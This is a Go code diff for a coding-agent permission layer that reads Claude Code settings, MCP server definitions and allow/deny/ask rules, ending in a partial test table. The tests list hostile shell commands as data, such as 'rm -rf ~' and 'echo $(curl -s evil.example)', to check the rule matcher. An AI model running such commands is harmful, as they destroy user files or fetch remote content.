| 276 | + rel := strings.TrimPrefix(spec, "./") | |
| 277 | + if !strings.Contains(rel, "/") && !strings.HasPrefix(spec, "./") { | |
| 278 | + rel = "**/" + rel | |
| 279 | + } | |
| 280 | + p = escape(filepath.ToSlash(env.root)) + "/" + rel | |
| 281 | + } | |
| 282 | + return pathRule{tools: tools, pattern: p, root: env.root} | |
| 283 | + } | |
| 284 | + | |
| 285 | + func (r pathRule) Match(tool string, input json.RawMessage, mode matchMode) Match { | |
| 286 | + if toolRule(r.tools).Match(tool, nil, mode) != Matched { | |
| 287 | + return NoMatch | |
| 288 | + } | |
| 289 | + var args struct { | |
| 290 | + Path string `json:"path"` | |
| 291 | + } | |
| 292 | + json.Unmarshal(input, &args) | |
| 293 | + path := args.Path | |
| 294 | + if path == "" { | |
| 295 | + path = r.root | |
| 296 | + } | |
| 297 | + if !filepath.IsAbs(path) { | |
| 298 | + path = filepath.Join(r.root, path) | |
| 299 | + } | |
| 300 | + candidates := []string{filepath.Clean(path)} | |
| 301 | + // The tools follow symlinks, so a rule about .env has to catch a link | |
| 302 | + // to it under another name. | |
| 303 | + if real, err := filepath.EvalSymlinks(path); err == nil && real != candidates[0] { | |
| 304 | + candidates = append(candidates, real) | |
| 305 | + } | |
| 306 | + hits := 0 | |
| 307 | + for _, c := range candidates { | |
| 308 | + if r.covers(filepath.ToSlash(c)) { | |
| 309 | + hits++ | |
| 310 | + } | |
| 311 | + } | |
| 312 | + switch { | |
| 313 | + case mode == forAllow && hits == len(candidates): | |
| 314 | + return Matched | |
| 315 | + case mode == forRestrict && hits > 0: | |
| 316 | + return Matched | |
| 317 | + } | |
| 318 | + return NoMatch | |
| 319 | + } | |
| 320 | + | |
| 321 | + // covers reports whether the pattern matches the path or any directory above | |
| 322 | + // it: a rule about a directory, as in .gitignore, is a rule about everything | |
| 323 | + // inside it. | |
| 324 | + func (r pathRule) covers(path string) bool { | |
| 325 | + for p := path; ; { | |
| 326 | + if ok, _ := doublestar.Match(r.pattern, p); ok { | |
| 327 | + return true | |
| 328 | + } | |
| 329 | + parent := filepath.ToSlash(filepath.Dir(filepath.FromSlash(p))) | |
| 330 | + if parent == p { | |
| 331 | + return false | |
| 332 | + } | |
| 333 | + p = parent | |
| 334 | + } | |
| 335 | + } | |
| 336 | + | |
| 337 | + func escape(s string) string { | |
| 338 | + var b strings.Builder | |
| 339 | + for _, r := range s { | |
| 340 | + if strings.ContainsRune(`*?[]{}\`, r) { | |
| 341 | + b.WriteByte('\\') | |
| 342 | + } | |
| 343 | + b.WriteRune(r) | |
| 344 | + } | |
| 345 | + return b.String() | |
| 346 | + } | |
| 347 | + | |
| 348 | + // domainRule is WebFetch(domain:example.com). *.example.com covers the | |
| 349 | + // subdomains; the bare name covers only itself. | |
| 350 | + type domainRule string | |
| 351 | + | |
| 352 | + func (r domainRule) Match(tool string, input json.RawMessage, _ matchMode) Match { | |
| 353 | + if tool != "web_fetch" { | |
| 354 | + return NoMatch | |
| 355 | + } | |
| 356 | + var args struct { | |
| 357 | + URL string `json:"url"` | |
| 358 | + } | |
| 359 | + json.Unmarshal(input, &args) | |
| 360 | + u, err := url.Parse(args.URL) | |
| 361 | + if err != nil || u.Hostname() == "" { | |
| 362 | + return Unsure | |
| 363 | + } | |
| 364 | + host := strings.ToLower(u.Hostname()) | |
| 365 | + d := string(r) | |
| 366 | + if sub, ok := strings.CutPrefix(d, "*."); ok { | |
| 367 | + if strings.HasSuffix(host, "."+sub) { | |
| 368 | + return Matched | |
| 369 | + } | |
| 370 | + return NoMatch | |
| 371 | + } | |
| 372 | + if host == d { | |
| 373 | + return Matched | |
| 374 | + } | |
| 375 | + return NoMatch | |
| 376 | + } | |
| @@ -0,0 +1,249 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "fmt" | |
| 5 | + "path/filepath" | |
| 6 | + "regexp" | |
| 7 | + "sort" | |
| 8 | + "strings" | |
| 9 | + | |
| 10 | + "github.com/johannSo/codey/internal/config" | |
| 11 | + ) | |
| 12 | + | |
| 13 | + // ServerDef is one MCP server as Claude Code writes it, before any ${VAR} in | |
| 14 | + // it is expanded. It is kept unexpanded because that is the form the trust | |
| 15 | + // decision is about: what the repository wrote, not what this shell happened | |
| 16 | + // to substitute into it. | |
| 17 | + type ServerDef struct { | |
| 18 | + // Type is "stdio", or empty, which means the same thing. "http", "sse" | |
| 19 | + // and "ws" are remote transports Codey's client does not speak. | |
| 20 | + Type string `json:"type,omitempty"` | |
| 21 | + Command string `json:"command,omitempty"` | |
| 22 | + Args []string `json:"args,omitempty"` | |
| 23 | + Env map[string]string `json:"env,omitempty"` | |
| 24 | + URL string `json:"url,omitempty"` | |
| 25 | + } | |
| 26 | + | |
| 27 | + // stdio reports whether Codey can start this server. A url is a remote | |
| 28 | + // server whatever the type says. | |
| 29 | + func (d ServerDef) stdio() bool { | |
| 30 | + return (d.Type == "" || d.Type == "stdio") && d.URL == "" | |
| 31 | + } | |
| 32 | + | |
| 33 | + // MCPFile is the servers one Claude Code file defines, the remote ones | |
| 34 | + // already removed. | |
| 35 | + type MCPFile struct { | |
| 36 | + Scope Scope | |
| 37 | + // Shown names the file in messages; for ~/.claude.json's per-project | |
| 38 | + // servers it says which project. | |
| 39 | + Shown string | |
| 40 | + Servers map[string]ServerDef | |
| 41 | + } | |
| 42 | + | |
| 43 | + // mcpJSON is the shape of .mcp.json, and of the parts of ~/.claude.json read | |
| 44 | + // here. ~/.claude.json carries a great deal more — login state, tips shown, | |
| 45 | + // per-project history — none of which is any of Codey's business. | |
| 46 | + type mcpJSON struct { | |
| 47 | + MCPServers map[string]ServerDef `json:"mcpServers"` | |
| 48 | + Projects map[string]struct { | |
| 49 | + MCPServers map[string]ServerDef `json:"mcpServers"` | |
| 50 | + } `json:"projects"` | |
| 51 | + } | |
| 52 | + | |
| 53 | + // LoadMCP reads the MCP servers Claude Code would offer in root, from the | |
| 54 | + // three places it keeps them, most specific first: | |
| 55 | + // | |
| 56 | + // - ~/.claude.json, under projects[root] — "local" scope, the user's own | |
| 57 | + // servers for this one project, which is what `claude mcp add` writes; | |
| 58 | + // - .mcp.json at the root — "project" scope, committed to the repository; | |
| 59 | + // - ~/.claude.json, top-level — "user" scope, for every project. | |
| 60 | + // | |
| 61 | + // That is Claude Code's own order of precedence, and the order MergeMCP | |
| 62 | + // resolves name clashes in. Servers Codey cannot start — a url, or a type | |
| 63 | + // other than stdio — are reported and left out here, so nothing downstream | |
| 64 | + // has to know they existed. | |
| 65 | + func LoadMCP(home, root string) ([]MCPFile, []error) { | |
| 66 | + var errs []error | |
| 67 | + var claude mcpJSON | |
| 68 | + claudePath := "" | |
| 69 | + if home != "" { | |
| 70 | + claudePath = filepath.Join(home, ClaudeJSON) | |
| 71 | + if _, err := readJSON(claudePath, &claude); err != nil { | |
| 72 | + errs = append(errs, fmt.Errorf("claude code mcp: %w", err)) | |
| 73 | + } | |
| 74 | + } | |
| 75 | + | |
| 76 | + var files []MCPFile | |
| 77 | + add := func(scope Scope, label string, defs map[string]ServerDef) { | |
| 78 | + if len(defs) == 0 { | |
| 79 | + return | |
| 80 | + } | |
| 81 | + kept := map[string]ServerDef{} | |
| 82 | + for _, name := range sortedNames(defs) { | |
| 83 | + d := defs[name] | |
| 84 | + if !d.stdio() { | |
| 85 | + transport := d.Type | |
| 86 | + if transport == "" || transport == "stdio" { | |
| 87 | + transport = "url" | |
| 88 | + } | |
| 89 | + errs = append(errs, fmt.Errorf("mcp: %s in %s is a remote server (%s), and Codey's client speaks only stdio — skipped", name, label, transport)) | |
| 90 | + continue | |
| 91 | + } | |
| 92 | + kept[name] = d | |
| 93 | + } | |
| 94 | + if len(kept) > 0 { | |
| 95 | + files = append(files, MCPFile{Scope: scope, Shown: label, Servers: kept}) | |
| 96 | + } | |
| 97 | + } | |
| 98 | + | |
| 99 | + if claudePath != "" && root != "" { | |
| 100 | + // Claude Code keys a project by the directory it was started in. A | |
| 101 | + // root reached through a symlink is the same project under another | |
| 102 | + // name, so both spellings are tried. | |
| 103 | + for _, key := range rootKeys(root) { | |
| 104 | + if p, ok := claude.Projects[key]; ok { | |
| 105 | + add(ScopeLocal, "~/"+ClaudeJSON+" (this project)", p.MCPServers) | |
| 106 | + break | |
| 107 | + } | |
| 108 | + } | |
| 109 | + } | |
| 110 | + if root != "" { | |
| 111 | + var project mcpJSON | |
| 112 | + path := filepath.Join(root, ProjectMCP) | |
| 113 | + if _, err := readJSON(path, &project); err != nil { | |
| 114 | + errs = append(errs, fmt.Errorf("claude code mcp: %w", err)) | |
| 115 | + } else { | |
| 116 | + add(ScopeProject, ProjectMCP, project.MCPServers) | |
| 117 | + } | |
| 118 | + } | |
| 119 | + if claudePath != "" { | |
| 120 | + add(ScopeUser, "~/"+ClaudeJSON, claude.MCPServers) | |
| 121 | + } | |
| 122 | + return files, errs | |
| 123 | + } | |
| 124 | + | |
| 125 | + func rootKeys(root string) []string { | |
| 126 | + keys := []string{filepath.Clean(root)} | |
| 127 | + if real, err := filepath.EvalSymlinks(root); err == nil && real != keys[0] { | |
| 128 | + keys = append(keys, real) | |
| 129 | + } | |
| 130 | + return keys | |
| 131 | + } | |
| 132 | + | |
| 133 | + // Project is the project-scope file in files, or nil. | |
| 134 | + func Project(files []MCPFile) *MCPFile { | |
| 135 | + for i := range files { | |
| 136 | + if files[i].Scope == ScopeProject { | |
| 137 | + return &files[i] | |
| 138 | + } | |
| 139 | + } | |
| 140 | + return nil | |
| 141 | + } | |
| 142 | + | |
| 143 | + // MergeMCP combines Codey's own servers with Claude Code's into the set to | |
| 144 | + // start, resolving each name to one definition and expanding ${VAR} in it. | |
| 145 | + // | |
| 146 | + // Codey's own config wins a clash, because it is the file written for this | |
| 147 | + // program; after it, files are taken in the order LoadMCP returned them. Each | |
| 148 | + // clash is reported once, naming the winner, because a server that silently | |
| 149 | + // turned out to be a different program is the kind of surprise nobody thinks | |
| 150 | + // to debug. | |
| 151 | + // | |
| 152 | + // trusted says whether the project's .mcp.json may be started. When it may | |
| 153 | + // not, its servers are dropped before anything else is decided — so a user's | |
| 154 | + // own server with the same name is the one that runs, rather than nothing. | |
| 155 | + // | |
| 156 | + // lookup is the environment ${VAR} is expanded from: os.LookupEnv in | |
| 157 | + // production, a map in the tests. | |
| 158 | + func MergeMCP(own map[string]config.MCPServer, files []MCPFile, trusted bool, lookup func(string) (string, bool)) (map[string]config.MCPServer, []string) { | |
| 159 | + out := map[string]config.MCPServer{} | |
| 160 | + from := map[string]string{} | |
| 161 | + for name, s := range own { | |
| 162 | + out[name] = s | |
| 163 | + from[name] = "Codey's config" | |
| 164 | + } | |
| 165 | + var notes []string | |
| 166 | + for _, f := range files { | |
| 167 | + if f.Scope == ScopeProject && !trusted { | |
| 168 | + continue | |
| 169 | + } | |
| 170 | + for _, name := range sortedNames(f.Servers) { | |
| 171 | + if winner, taken := from[name]; taken { | |
| 172 | + notes = append(notes, fmt.Sprintf("mcp: %s is defined in both %s and %s — using the one in %s", name, winner, f.Shown, winner)) | |
| 173 | + continue | |
| 174 | + } | |
| 175 | + spec, err := expandServer(f.Servers[name], lookup) | |
| 176 | + if err != nil { | |
| 177 | + notes = append(notes, fmt.Sprintf("mcp: %s in %s: %v — skipped", name, f.Shown, err)) | |
| 178 | + // Claimed all the same: a broken definition in a more specific | |
| 179 | + // file should not quietly hand the name to a less specific one. | |
| 180 | + from[name] = f.Shown | |
| 181 | + continue | |
| 182 | + } | |
| 183 | + out[name] = spec | |
| 184 | + from[name] = f.Shown | |
| 185 | + } | |
| 186 | + } | |
| 187 | + return out, notes | |
| 188 | + } | |
| 189 | + | |
| 190 | + // envRef is ${VAR} or ${VAR:-default}, the two forms Claude Code expands in a | |
| 191 | + // server definition. | |
| 192 | + var envRef = regexp.MustCompile(`\$\{([A-Za-z_][A-Za-z0-9_]*)(:-([^}]*))?\}`) | |
| 193 | + | |
| 194 | + // expand substitutes every ${VAR} in s. A variable that is unset, or set to | |
| 195 | + // nothing, takes its default when it has one — the shell's reading of :- — | |
| 196 | + // and is an error when it has none: Claude Code refuses such a definition | |
| 197 | + // rather than starting a server with a hole in its command line, and so does | |
| 198 | + // this. | |
| 199 | + func expand(s string, lookup func(string) (string, bool)) (string, error) { | |
| 200 | + var missing []string | |
| 201 | + out := envRef.ReplaceAllStringFunc(s, func(ref string) string { | |
| 202 | + m := envRef.FindStringSubmatch(ref) | |
| 203 | + if v, ok := lookup(m[1]); ok && v != "" { | |
| 204 | + return v | |
| 205 | + } | |
| 206 | + if m[2] != "" { | |
| 207 | + return m[3] | |
| 208 | + } | |
| 209 | + missing = append(missing, m[1]) | |
| 210 | + return "" | |
| 211 | + }) | |
| 212 | + if len(missing) > 0 { | |
| 213 | + return "", fmt.Errorf("%s is not set and has no default", strings.Join(missing, ", ")) | |
| 214 | + } | |
| 215 | + return out, nil | |
| 216 | + } | |
| 217 | + | |
| 218 | + func expandServer(d ServerDef, lookup func(string) (string, bool)) (config.MCPServer, error) { | |
| 219 | + var err error | |
| 220 | + s := config.MCPServer{} | |
| 221 | + if s.Command, err = expand(d.Command, lookup); err != nil { | |
| 222 | + return s, err | |
| 223 | + } | |
| 224 | + for _, a := range d.Args { | |
| 225 | + v, err := expand(a, lookup) | |
| 226 | + if err != nil { | |
| 227 | + return s, err | |
| 228 | + } | |
| 229 | + s.Args = append(s.Args, v) | |
| 230 | + } | |
| 231 | + if len(d.Env) > 0 { | |
| 232 | + s.Env = map[string]string{} | |
| 233 | + for k, v := range d.Env { | |
| 234 | + if s.Env[k], err = expand(v, lookup); err != nil { | |
| 235 | + return s, err | |
| 236 | + } | |
| 237 | + } | |
| 238 | + } | |
| 239 | + return s, nil | |
| 240 | + } | |
| 241 | + | |
| 242 | + func sortedNames[V any](m map[string]V) []string { | |
| 243 | + names := make([]string, 0, len(m)) | |
| 244 | + for n := range m { | |
| 245 | + names = append(names, n) | |
| 246 | + } | |
| 247 | + sort.Strings(names) | |
| 248 | + return names | |
| 249 | + } | |
| @@ -0,0 +1,106 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "context" | |
| 5 | + "fmt" | |
| 6 | + "os/exec" | |
| 7 | + "path/filepath" | |
| 8 | + "time" | |
| 9 | + ) | |
| 10 | + | |
| 11 | + // Permissions is the permissions block of one Claude Code settings file, as | |
| 12 | + // written. Which of it is honoured is decided by NewRuleset, not here. | |
| 13 | + type Permissions struct { | |
| 14 | + Scope Scope | |
| 15 | + // Path is the file, and Shown is how a message names it. | |
| 16 | + Path string | |
| 17 | + Shown string | |
| 18 | + Allow []string | |
| 19 | + Deny []string | |
| 20 | + Ask []string | |
| 21 | + // DefaultMode is Claude Code's starting permission mode. Only | |
| 22 | + // "acceptEdits" and "default" mean anything to Codey, and only from a | |
| 23 | + // file the user wrote. | |
| 24 | + DefaultMode string | |
| 25 | + // Tracked is set on a settings.local.json that git is tracking. Claude | |
| 26 | + // Code keeps that file out of git, so one that is committed came from the | |
| 27 | + // repository like the shared file did, and is treated as project scope. | |
| 28 | + Tracked bool | |
| 29 | + } | |
| 30 | + | |
| 31 | + // settingsFile is the part of a settings file this package reads. Hooks, env, | |
| 32 | + // model, statusLine and the rest are other harnesses' business; see the | |
| 33 | + // README for what is deliberately not carried over. | |
| 34 | + type settingsFile struct { | |
| 35 | + Permissions struct { | |
| 36 | + Allow []string `json:"allow"` | |
| 37 | + Deny []string `json:"deny"` | |
| 38 | + Ask []string `json:"ask"` | |
| 39 | + DefaultMode string `json:"defaultMode"` | |
| 40 | + } `json:"permissions"` | |
| 41 | + } | |
| 42 | + | |
| 43 | + // LoadPermissions reads the three settings files Claude Code would read for | |
| 44 | + // root, in the order it would read them: the user's, the project's shared | |
| 45 | + // file, and the project's local one. A file that is not there is skipped | |
| 46 | + // silently; one that cannot be parsed is reported and skipped, which leaves | |
| 47 | + // its deny rules unenforced — so the error is worth putting in front of the | |
| 48 | + // user rather than in a log. | |
| 49 | + // | |
| 50 | + // home may be empty, for a machine with no home directory; the user's file is | |
| 51 | + // then not read. | |
| 52 | + func LoadPermissions(home, root string) ([]Permissions, []error) { | |
| 53 | + type candidate struct { | |
| 54 | + scope Scope | |
| 55 | + path string | |
| 56 | + } | |
| 57 | + var files []candidate | |
| 58 | + if home != "" { | |
| 59 | + files = append(files, candidate{ScopeUser, filepath.Join(home, UserSettings)}) | |
| 60 | + } | |
| 61 | + // A root that is the home directory would read the user's file twice, | |
| 62 | + // once as a project file; it is the user's. | |
| 63 | + if root != "" && filepath.Clean(root) != filepath.Clean(home) { | |
| 64 | + files = append(files, | |
| 65 | + candidate{ScopeProject, filepath.Join(root, ProjectSettings)}, | |
| 66 | + candidate{ScopeLocal, filepath.Join(root, LocalSettings)}) | |
| 67 | + } | |
| 68 | + | |
| 69 | + var out []Permissions | |
| 70 | + var errs []error | |
| 71 | + for _, f := range files { | |
| 72 | + var s settingsFile | |
| 73 | + ok, err := readJSON(f.path, &s) | |
| 74 | + if err != nil { | |
| 75 | + errs = append(errs, fmt.Errorf("claude code settings: %w", err)) | |
| 76 | + continue | |
| 77 | + } | |
| 78 | + if !ok { | |
| 79 | + continue | |
| 80 | + } | |
| 81 | + p := Permissions{ | |
| 82 | + Scope: f.scope, | |
| 83 | + Path: f.path, | |
| 84 | + Shown: shown(home, root, f.path), | |
| 85 | + Allow: s.Permissions.Allow, | |
| 86 | + Deny: s.Permissions.Deny, | |
| 87 | + Ask: s.Permissions.Ask, | |
| 88 | + DefaultMode: s.Permissions.DefaultMode, | |
| 89 | + } | |
| 90 | + if f.scope == ScopeLocal && gitTracks(root, LocalSettings) { | |
| 91 | + p.Scope, p.Tracked = ScopeProject, true | |
| 92 | + } | |
| 93 | + out = append(out, p) | |
| 94 | + } | |
| 95 | + return out, errs | |
| 96 | + } | |
| 97 | + | |
| 98 | + // gitTracks reports whether git has rel in its index under root. Any failure | |
| 99 | + // — no git, not a repository — reads as untracked, which is the honest answer | |
| 100 | + // for a directory git knows nothing about: nobody committed the file. | |
| 101 | + func gitTracks(root, rel string) bool { | |
| 102 | + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) | |
| 103 | + defer cancel() | |
| 104 | + cmd := exec.CommandContext(ctx, "git", "-C", root, "ls-files", "--error-unmatch", "--", rel) | |
| 105 | + return cmd.Run() == nil | |
| 106 | + } | |
| @@ -0,0 +1,156 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "encoding/json" | |
| 5 | + "fmt" | |
| 6 | + | |
| 7 | + "github.com/johannSo/codey/internal/approval" | |
| 8 | + ) | |
| 9 | + | |
| 10 | + // Ruleset is Claude Code's permission rules as Codey honours them. It | |
| 11 | + // implements approval.RuleSet, so the approval policy consults it before | |
| 12 | + // anything else — before -yolo, before the read-only list, and before the | |
| 13 | + // session's own memory. | |
| 14 | + type Ruleset struct { | |
| 15 | + deny, ask, allow []entry | |
| 16 | + // acceptEdits names the file whose defaultMode said acceptEdits, empty | |
| 17 | + // when none did. | |
| 18 | + acceptEdits string | |
| 19 | + lines []string | |
| 20 | + } | |
| 21 | + | |
| 22 | + type entry struct { | |
| 23 | + rule, source string | |
| 24 | + c compiled | |
| 25 | + } | |
| 26 | + | |
| 27 | + // NewRuleset decides which of the rules in perms are honoured and compiles | |
| 28 | + // them. The rules, by kind and by who wrote them: | |
| 29 | + // | |
| 30 | + // - deny and ask, from every file. They can only make the agent ask more or | |
| 31 | + // do less, and nobody is put at risk by that, so a repository may add as | |
| 32 | + // many as it likes. | |
| 33 | + // - allow, from the user's settings and the project's local file. Both are | |
| 34 | + // the user's own writing. | |
| 35 | + // - allow from the project's shared file — or from a settings.local.json | |
| 36 | + // git is tracking, which is the same thing under another name — only when | |
| 37 | + // projectTrusted. Otherwise a repository could decide for itself what | |
| 38 | + // runs on your machine without asking, which is precisely the decision | |
| 39 | + // the prompt exists to leave with you. | |
| 40 | + // - defaultMode, only acceptEdits, and only from the user's own files. The | |
| 41 | + // other modes either mean nothing here or mean "stop asking", and the | |
| 42 | + // only way to stop asking in Codey is to say so on the command line. | |
| 43 | + // | |
| 44 | + // The notes are rules that were not understood and modes that were ignored, | |
| 45 | + // for the caller to report; an untrusted project's allow rules are left for | |
| 46 | + // the caller to report too, since only it knows how to ask for trust. | |
| 47 | + func NewRuleset(home, root string, perms []Permissions, projectTrusted bool) (*Ruleset, []string) { | |
| 48 | + env := matchEnv{home: home, root: root} | |
| 49 | + r := &Ruleset{} | |
| 50 | + var notes []string | |
| 51 | + for _, p := range perms { | |
| 52 | + label := p.Shown | |
| 53 | + switch { | |
| 54 | + case p.Tracked: | |
| 55 | + label += " (committed to the repository, so treated as shared)" | |
| 56 | + case p.Scope == ScopeProject: | |
| 57 | + label += " (shared, from the repository)" | |
| 58 | + } | |
| 59 | + var lines []string | |
| 60 | + add := func(kind string, rules []string, into *[]entry, honoured bool) { | |
| 61 | + for _, rule := range rules { | |
| 62 | + c, err := compile(rule, env) | |
| 63 | + switch { | |
| 64 | + case err != nil: | |
| 65 | + notes = append(notes, fmt.Sprintf("claude code rule %s %s in %s ignored: %v", kind, rule, p.Shown, err)) | |
| 66 | + lines = append(lines, fmt.Sprintf(" %-6s %s — ignored: %v", kind, rule, err)) | |
| 67 | + case !honoured: | |
| 68 | + lines = append(lines, fmt.Sprintf(" %-6s %s — ignored until this project is trusted", kind, rule)) | |
| 69 | + default: | |
| 70 | + *into = append(*into, entry{rule: rule, source: p.Shown, c: c}) | |
| 71 | + lines = append(lines, fmt.Sprintf(" %-6s %s", kind, rule)) | |
| 72 | + } | |
| 73 | + } | |
| 74 | + } | |
| 75 | + add("deny", p.Deny, &r.deny, true) | |
| 76 | + add("ask", p.Ask, &r.ask, true) | |
| 77 | + add("allow", p.Allow, &r.allow, p.Scope != ScopeProject || projectTrusted) | |
| 78 | + | |
| 79 | + switch mode := p.DefaultMode; { | |
| 80 | + case mode == "" || mode == "default": | |
| 81 | + case mode == "acceptEdits" && p.Scope != ScopeProject: | |
| 82 | + if r.acceptEdits == "" { | |
| 83 | + r.acceptEdits = p.Shown | |
| 84 | + } | |
| 85 | + lines = append(lines, " mode acceptEdits — file edits run without asking") | |
| 86 | + case p.Scope == ScopeProject: | |
| 87 | + notes = append(notes, fmt.Sprintf("claude code defaultMode %q in %s ignored: a repository does not get to choose how often you are asked", mode, p.Shown)) | |
| 88 | + lines = append(lines, fmt.Sprintf(" mode %s — ignored: set by the repository", mode)) | |
| 89 | + default: | |
| 90 | + notes = append(notes, fmt.Sprintf("claude code defaultMode %q in %s ignored: Codey honours only acceptEdits and default; -yolo is the way to stop asking", mode, p.Shown)) | |
| 91 | + lines = append(lines, fmt.Sprintf(" mode %s — ignored", mode)) | |
| 92 | + } | |
| 93 | + if len(lines) > 0 { | |
| 94 | + r.lines = append(r.lines, label) | |
| 95 | + r.lines = append(r.lines, lines...) | |
| 96 | + } | |
| 97 | + } | |
| 98 | + return r, notes | |
| 99 | + } | |
| 100 | + | |
| 101 | + // Empty reports whether there is nothing here to consult or to show, so a | |
| 102 | + // caller can leave the policy's rule set nil. | |
| 103 | + func (r *Ruleset) Empty() bool { return r == nil || len(r.lines) == 0 } | |
| 104 | + | |
| 105 | + // Check implements approval.RuleSet. Deny outranks ask outranks allow, as in | |
| 106 | + // Claude Code, so no allow rule anywhere can argue a call past a deny rule. | |
| 107 | + func (r *Ruleset) Check(tool string, input json.RawMessage) approval.Ruling { | |
| 108 | + if r == nil { | |
| 109 | + return approval.Ruling{} | |
| 110 | + } | |
| 111 | + // A deny rule that cannot tell whether it applies — a shell command it | |
| 112 | + // cannot see all the way through — does not get to refuse, since the | |
| 113 | + // command may be innocent, but it does not get to wave it through either. | |
| 114 | + // It becomes a question. | |
| 115 | + var unsure *entry | |
| 116 | + for i, e := range r.deny { | |
| 117 | + switch e.c.Match(tool, input, forRestrict) { | |
| 118 | + case Matched: | |
| 119 | + return approval.Ruling{Verdict: approval.VerdictDeny, Rule: e.rule, Source: e.source} | |
| 120 | + case Unsure: | |
| 121 | + if unsure == nil { | |
| 122 | + unsure = &r.deny[i] | |
| 123 | + } | |
| 124 | + } | |
| 125 | + } | |
| 126 | + for _, e := range r.ask { | |
| 127 | + if e.c.Match(tool, input, forRestrict) != NoMatch { | |
| 128 | + return approval.Ruling{Verdict: approval.VerdictAsk, Rule: e.rule, Source: e.source} | |
| 129 | + } | |
| 130 | + } | |
| 131 | + if unsure != nil { | |
| 132 | + return approval.Ruling{ | |
| 133 | + Verdict: approval.VerdictAsk, | |
| 134 | + Rule: unsure.rule, | |
| 135 | + Source: unsure.source + ", a deny rule this command cannot be checked against", | |
| 136 | + } | |
| 137 | + } | |
| 138 | + for _, e := range r.allow { | |
| 139 | + if e.c.Match(tool, input, forAllow) == Matched { | |
| 140 | + return approval.Ruling{Verdict: approval.VerdictAllow, Rule: e.rule, Source: e.source} | |
| 141 | + } | |
| 142 | + } | |
| 143 | + if r.acceptEdits != "" && (tool == "edit_file" || tool == "write_file") { | |
| 144 | + return approval.Ruling{Verdict: approval.VerdictAllow, Rule: "defaultMode acceptEdits", Source: r.acceptEdits} | |
| 145 | + } | |
| 146 | + return approval.Ruling{} | |
| 147 | + } | |
| 148 | + | |
| 149 | + // Lines implements approval.RuleSet: every file, then its rules, each marked | |
| 150 | + // with whether it is in force. | |
| 151 | + func (r *Ruleset) Lines() []string { | |
| 152 | + if r == nil { | |
| 153 | + return nil | |
| 154 | + } | |
| 155 | + return r.lines | |
| 156 | + } | |
| @@ -0,0 +1,300 @@ | ||
| 1 | + package ccsettings | |
| 2 | + | |
| 3 | + import ( | |
| 4 | + "encoding/json" | |
| 5 | + "os" | |
| 6 | + "path/filepath" | |
| 7 | + "strings" | |
| 8 | + "testing" | |
| 9 | + | |
| 10 | + "github.com/johannSo/codey/internal/approval" | |
| 11 | + ) | |
| 12 | + | |
| 13 | + func bash(cmd string) json.RawMessage { | |
| 14 | + b, _ := json.Marshal(map[string]string{"command": cmd}) | |
| 15 | + return b | |
| 16 | + } | |
| 17 | + | |
| 18 | + func pathArg(p string) json.RawMessage { | |
| 19 | + b, _ := json.Marshal(map[string]string{"path": p}) | |
| 20 | + return b | |
| 21 | + } | |
| 22 | + | |
| 23 | + func TestBashRules(t *testing.T) { | |
| 24 | + env := matchEnv{home: "/home/u", root: "/src/proj"} | |
| 25 | + tests := []struct { | |
| 26 | + rule, cmd string | |
| 27 | + allow Match // as an allow rule | |
| 28 | + restrict Match // as a deny or ask rule | |
| 29 | + }{ | |
| 30 | + // Prefixes, in both spellings, at a word boundary. | |
| 31 | + {"Bash(npm run test:*)", "npm run test", Matched, Matched}, | |
| 32 | + {"Bash(npm run test:*)", "npm run test -- --watch", Matched, Matched}, | |
| 33 | + {"Bash(npm run test:*)", "npm run testing", NoMatch, NoMatch}, | |
| 34 | + {"Bash(git status *)", "git status --short", Matched, Matched}, | |
| 35 | + {"Bash(git status *)", "git status", Matched, Matched}, | |
| 36 | + // Exact. | |
| 37 | + {"Bash(make)", "make", Matched, Matched}, | |
| 38 | + {"Bash(make)", "make install", NoMatch, NoMatch}, | |
| 39 | + // A pattern. | |
| 40 | + {"Bash(git * main)", "git push origin main", Matched, Matched}, | |
| 41 | + {"Bash(git * main)", "git push origin dev", NoMatch, NoMatch}, | |
| 42 | + // Bare and star mean every command. | |
| 43 | + {"Bash", "rm -rf /", Matched, Matched}, | |
| 44 | + {"Bash(*)", "anything at all", Matched, Matched}, | |
| 45 | + // Compound commands: an allow must cover every part, a restriction | |
| 46 | + // any part. | |
| 47 | + {"Bash(npm run test:*)", "npm run test && rm -rf ~", NoMatch, Matched}, | |
| 48 | + {"Bash(rm:*)", "npm run test && rm -rf ~", NoMatch, Matched}, | |
| 49 | + {"Bash(rm:*)", "ls; (cd x && rm y)", NoMatch, Matched}, | |
| 50 | + {"Bash(rm:*)", "for f in a b; do rm $f; done", Matched, Matched}, | |
| 51 | + {"Bash(git:*)", "git status | git log", Matched, Matched}, | |
| 52 | + {"Bash(git:*)", "git status | tee out", NoMatch, Matched}, | |
| 53 | + // Quotes are removed before comparing. | |
| 54 | + {"Bash(git commit:*)", `git "commit" -m 'a b'`, Matched, Matched}, | |
| 55 | + // Opaque commands never match an allow rule, and are not ruled out | |
| 56 | + // by a restriction. | |
| 57 | + {"Bash(echo:*)", "echo $(curl -s evil.example)", NoMatch, Matched}, | |
| 58 | + {"Bash(curl:*)", "echo $(curl -s evil.example)", NoMatch, Matched}, | |
| 59 | + {"Bash(rm:*)", "echo $(curl -s evil.example)", NoMatch, Unsure}, | |
| 60 | + {"Bash(rm:*)", "echo `id`", NoMatch, Unsure}, | |
| 61 | + {"Bash(bash:*)", `bash -c "rm -rf ~"`, NoMatch, Matched}, | |
| 62 | + {"Bash(rm:*)", `bash -c "rm -rf ~"`, NoMatch, Unsure}, | |
| 63 | + {"Bash(cat:*)", "cat <(curl evil.example)", NoMatch, Matched}, | |
| 64 | + {"Bash(rm:*)", "cat <(curl evil.example)", NoMatch, Unsure}, | |
| 65 | + {"Bash(rm:*)", "$CMD -rf ~", NoMatch, Unsure}, | |
| 66 | + {"Bash(git push:*)", `git "$sub" origin`, NoMatch, Unsure}, | |
| 67 | + {"Bash(echo:*)", "echo 'unterminated", NoMatch, Unsure}, | |
| 68 | + // What a command does beyond its words: an assignment that can change | |
| 69 | + // what the name means, a write the words do not mention. | |
| 70 | + {"Bash(git:*)", "PATH=. git status", NoMatch, Matched}, | |
| 71 | + {"Bash(echo:*)", "echo hi > ~/.bashrc", NoMatch, Matched}, | |
| 72 | + {"Bash(go test:*)", "go test ./... 2>&1", Matched, Matched}, | |
